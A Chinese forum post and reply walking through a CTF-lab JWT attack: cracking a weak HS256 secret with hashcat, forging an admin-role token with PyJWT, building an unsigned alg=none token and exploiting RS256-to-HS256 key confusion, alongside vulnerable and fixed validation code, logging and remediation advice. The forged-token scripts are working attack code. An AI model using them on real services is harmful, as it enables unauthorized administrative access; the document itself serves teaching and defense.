跳转到帖子

CTF 密码学实战:JWT 弱密钥与算法降级导致的权限边界绕过

精选回复

发布于

背景

在授权靶场和 CTF Web 题中,JWT 经常被用作密码学与权限控制的结合点。常见题型不是破解标准算法本身,而是利用密钥管理、算法白名单或 Claims 校验上的错误,把普通用户令牌改造成管理令牌。

本文以一个隔离靶场为例:应用使用 JWT 保存用户身份,普通账号访问 /api/admin/flag 返回 403。测试目标是确认令牌能否被伪造、权限边界在哪里失效,以及服务端是否留下足够的审计记录。以下操作只适用于 CTF、靶场或已取得明确授权的系统。

问题定位

登录后取得令牌,先离线拆分 JWT,不要一开始就反复请求管理接口。JWT 由 Header、Payload 和 Signature 三段组成,前两段只是 Base64URL 编码,并不提供保密性。

export TOKEN='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMDAxIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MzAwMDAwMDB9.signature'

python3 - <<'PY'
import os, json, base64

token = os.environ['TOKEN']
for name, part in zip(('header', 'payload'), token.split('.')[:2]):
    part += '=' * (-len(part) % 4)
    raw = base64.urlsafe_b64decode(part)
    print(name, json.dumps(json.loads(raw), ensure_ascii=False, indent=2))
PY

重点记录以下字段:

  • alg:是否为 HS256,服务端是否允许客户端选择算法。
  • kid:是否参与文件路径、数据库查询或密钥选择。
  • role、scope:服务端是否直接相信令牌中的权限声明。
  • iss、aud、exp、nbf:是否被严格校验。
  • jti:是否存在令牌撤销和重放检测机制。

技术分析

本场景的 Header 为 HS256。HS256 是对称签名,签发端和验证端共享同一个密钥。如果应用把 secret、项目名或默认配置作为密钥,攻击者可以离线验证候选值。离线测试不会触发登录失败计数,因此检测重点应放在伪造令牌首次被使用时。

另一个需要单独验证的问题是算法降级。历史代码可能读取 Header 中的 alg,再动态决定是否校验签名;更危险的实现会在 alg=none 时直接解析 Payload。现代 JWT 库通常默认拒绝这种令牌,但错误封装仍可能重新引入问题。

不要把“能修改 Payload”误判为漏洞。只有修改后令牌仍被服务端接受,或者能够用可预测密钥生成有效签名,才构成可利用的权限绕过。

操作步骤

第一步,保留普通账号的原始请求作为基线,确认无令牌、原令牌和篡改令牌分别返回什么状态。建议固定请求路径和请求体,只改变 Authorization Header,避免把业务参数差异误认为鉴权差异。

# 基线:普通用户令牌预期返回 403
curl -i ' \
  -H "Authorization: Bearer $TOKEN"

# 完整性检查:只改 Payload、不重签名,安全实现应返回 401
# 请求应在隔离环境中发送,并记录响应状态、响应体和时间戳。

第二步,在授权范围内进行小规模离线字典验证。Hashcat 的 JWT HS256 模式为 16500。候选字典应优先来自题目附件、公开配置样例和项目命名,不应无边界扩大到真实用户数据。

printf '%s\n' "$TOKEN" > jwt.txt
cat > jwt-small.txt <<'EOF'
change_me
ctf_secret_2025
dev-jwt-key
project-demo-secret
EOF

hashcat -m 16500 -a 0 jwt.txt jwt-small.txt --potfile-path jwt.pot
hashcat -m 16500 jwt.txt --show --potfile-path jwt.pot

第三步,如果得到测试密钥,只修改最小必要字段,例如将 role 从 user 改为 admin,同时保留 sub、iss 和 aud。这样可以证明权限判断依赖了可伪造 Claims,而不是混入账号切换等其他变量。

python3 - <<'PY'
import jwt, time

key = 'ctf_secret_2025'  # 仅为靶场示例
payload = {
    'sub': '1001',
    'role': 'admin',
    'iss': 'ctf-auth',
    'aud': 'ctf-api',
    'iat': int(time.time()),
    'exp': int(time.time()) + 300
}
print(jwt.encode(payload, key, algorithm='HS256'))
PY

第四步,只提交一次验证请求。若返回 200,再使用普通令牌复测并保存证据:原始 JWT Header/Payload、篡改字段、响应状态、服务端时间和相关日志 ID。不要继续枚举其他管理接口或读取无关数据。

算法降级检查

可以构造一个无签名令牌,用来确认服务端是否错误接受 alg=none。该令牌只应在题目环境中使用。安全实现应稳定返回 401,而不是 500;500 往往说明异常处理路径还存在信息泄露或可用性问题。

python3 - <<'PY'
import json, base64

def enc(v):
    raw = json.dumps(v, separators=(',', ':')).encode()
    return base64.urlsafe_b64encode(raw).rstrip(b'=').decode()

header = {'alg': 'none', 'typ': 'JWT'}
payload = {'sub': '1001', 'role': 'admin'}
print(enc(header) + '.' + enc(payload) + '.')
PY

服务端代码审计

Python/PyJWT 场景中,下面这种写法存在明显风险:算法来源于未可信的 Header,并且只验证签名,不验证签发者和受众。

# 错误示例
header = jwt.get_unverified_header(token)
claims = jwt.decode(
    token,
    SECRET,
    algorithms=[header['alg']],
    options={'verify_aud': False}
)
if claims.get('role') == 'admin':
    return admin_data()

修复时应由服务端固定算法,并完整校验必要 Claims。更重要的是,关键权限最好根据 sub 查询服务端授权数据,而不是把令牌中的 role 当作唯一依据。

# 较安全的验证方式
claims = jwt.decode(
    token,
    JWT_SECRET,
    algorithms=['HS256'],
    issuer='ctf-auth',
    audience='ctf-api',
    options={
        'require': ['sub', 'iss', 'aud', 'iat', 'exp', 'jti']
    }
)

user = load_user_by_id(claims['sub'])
if not user or not user.enabled or not user.has_permission('flag:read'):
    raise Forbidden()

日志留痕与排查

排查时不要记录完整 JWT,因为令牌本身是凭据。建议记录令牌指纹、解析结果和鉴权结论,并对敏感字段做固定格式处理。

  • 请求时间、源地址、User-Agent、请求 ID。
  • 令牌 SHA-256 指纹的前 12 至 16 位,不保存完整令牌。
  • sub、iss、aud、jti 和服务端判定的权限。
  • 签名失败、算法不允许、令牌过期、受众不匹配等明确失败原因。
  • 同一 jti 在短时间内跨地址使用,或同一账号的权限突然变化。
# Nginx 日志中初步筛选管理接口异常状态
awk '$7 ~ /^\/api\/admin/ && ($9 == 401 || $9 == 403 || $9 == 200) {print $1,$4,$7,$9}' access.log

# 应用日志示例检索
rg 'jwt_(invalid_signature|algorithm_rejected|audience_mismatch)|permission_denied' /var/log/ctf-api/

如果发现伪造令牌已被接受,应按密钥泄露处理:立即轮换密钥、使旧令牌失效、核查管理接口访问记录,并确认同一密钥是否被其他环境复用。

风险与修复建议

  • 使用至少 256 位随机密钥,通过密钥管理服务或受控环境变量注入,禁止写入仓库和镜像层。
  • 验证端固定允许的算法,不读取客户端 Header 来决定验签策略,明确拒绝 none。
  • 严格校验 iss、aud、exp、nbf,并限制时钟偏差。
  • 令牌有效期保持较短;高权限操作增加服务端会话状态、二次认证或一次性授权。
  • 不要仅依赖 role Claim 完成对象级和功能级授权,每个管理接口都应进行服务端权限判断。
  • 密钥轮换时使用受控的 kid 映射。禁止将 kid 直接拼接为文件路径或 SQL 条件。
  • 对算法拒绝、签名失败和管理接口访问建立告警,但避免把完整令牌写入日志。

总结

这类 CTF 密码学题的关键不在于破坏 HS256,而在于识别应用层如何错误使用密码学组件。有效验证应形成完整证据链:离线解析令牌、确认弱密钥或算法降级、最小化修改权限字段、对比服务端响应、检查日志留痕,最后给出密钥轮换和授权模型修复方案。这样既能完成夺旗,也能把题目中的技巧转化为授权测试中可复用的审计方法。

代码审计与漏洞定位示意图
代码审计、调用链与关键函数定位示意
网络流量与边界分析示意图
网络请求、日志与边界流量分析示意

这类题建议先把“弱密钥”和“算法降级”拆开验证,避免把能解码 JWT 误判成已经绕过签名。重点看服务端是否依据令牌头里的 alg 动态选择验证方式,以及是否限制了允许算法。

先读取 Header 和 Payload,确认原始算法、声明字段及权限字段位置:

python3 - <<'PY'
import base64, json

token = "替换为题目中的JWT"
for part in token.split(".")[:2]:
    part += "=" * (-len(part) % 4)
    print(json.dumps(
        json.loads(base64.urlsafe_b64decode(part)),
        ensure_ascii=False,
        indent=2
    ))
PY

如果是 HS256,可以先用已知字典验证是否存在弱密钥。Hashcat 对 JWT 的模式是 16500:

printf '%s\n' 'JWT_TOKEN' > jwt.txt
hashcat -m 16500 -a 0 jwt.txt wordlist.txt
hashcat -m 16500 jwt.txt --show

找到密钥后,不要只修改 role 就结束;还应保留服务端可能校验的 iss、aud、exp、nbf 等字段,并观察权限判断到底使用 role、admin 还是用户 ID。用 PyJWT 重签可快速确认:

import jwt
import time

payload = {
    "sub": "1001",
    "role": "admin",
    "iss": "ctf-app",
    "aud": "ctf-web",
    "iat": int(time.time()),
    "exp": int(time.time()) + 600
}

print(jwt.encode(payload, "recovered-secret", algorithm="HS256"))

所谓算法降级,建议分别测试两条路径:

  • alg: none:删除签名后服务端仍接受,说明验证逻辑允许未签名令牌或只做了解码。
  • RS256 → HS256:服务端原本用 RSA 公钥验签,却错误地把令牌指定的 HS256 与同一份公钥材料交给 HMAC 验证。此时公钥会被当作对称密钥。

none 令牌可用于最小化确认,但 Header 的 JSON 和 Base64URL 编码必须正确,最终令牌仍需保留第二个点:

python3 - <<'PY'
import base64, json

enc = lambda x: base64.urlsafe_b64encode(
    json.dumps(x, separators=(",", ":")).encode()
).rstrip(b"=").decode()

header = {"typ": "JWT", "alg": "none"}
payload = {"sub": "1001", "role": "admin"}
print(f"{enc(header)}.{enc(payload)}.")
PY

排查 RS/HS 混淆时,要保证公钥字节与服务端加载的内容完全一致,包括 PEM 头尾和换行。较新的 JWT 库通常会拒绝把 PEM 公钥作为 HMAC secret;如果本地生成时报 “asymmetric key” 一类错误,不代表目标一定安全,只说明本地库做了额外类型检查。更可靠的判断依据仍是服务端响应差异和服务端验证代码。

修复侧不要从请求中的 alg 决定验证算法,而应由服务端配置固定算法和密钥类型。例如 PyJWT:

claims = jwt.decode(
    token,
    public_key,
    algorithms=["RS256"],
    audience="ctf-web",
    issuer="ctf-app",
    options={
        "require": ["exp", "iat", "sub"],
        "verify_signature": True,
        "verify_exp": True,
        "verify_aud": True,
        "verify_iss": True,
    },
)

如果业务确实同时支持 HS256 和 RS256,也应按可信配置或受控的 kid 映射分别选择验证器,不能把两类算法共用同一段密钥加载逻辑。HMAC 密钥应使用至少 256 位随机值,不要使用项目名、默认口令或环境名;更换后还需要考虑旧令牌失效,否则边界绕过仍会持续到旧令牌自然过期。

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。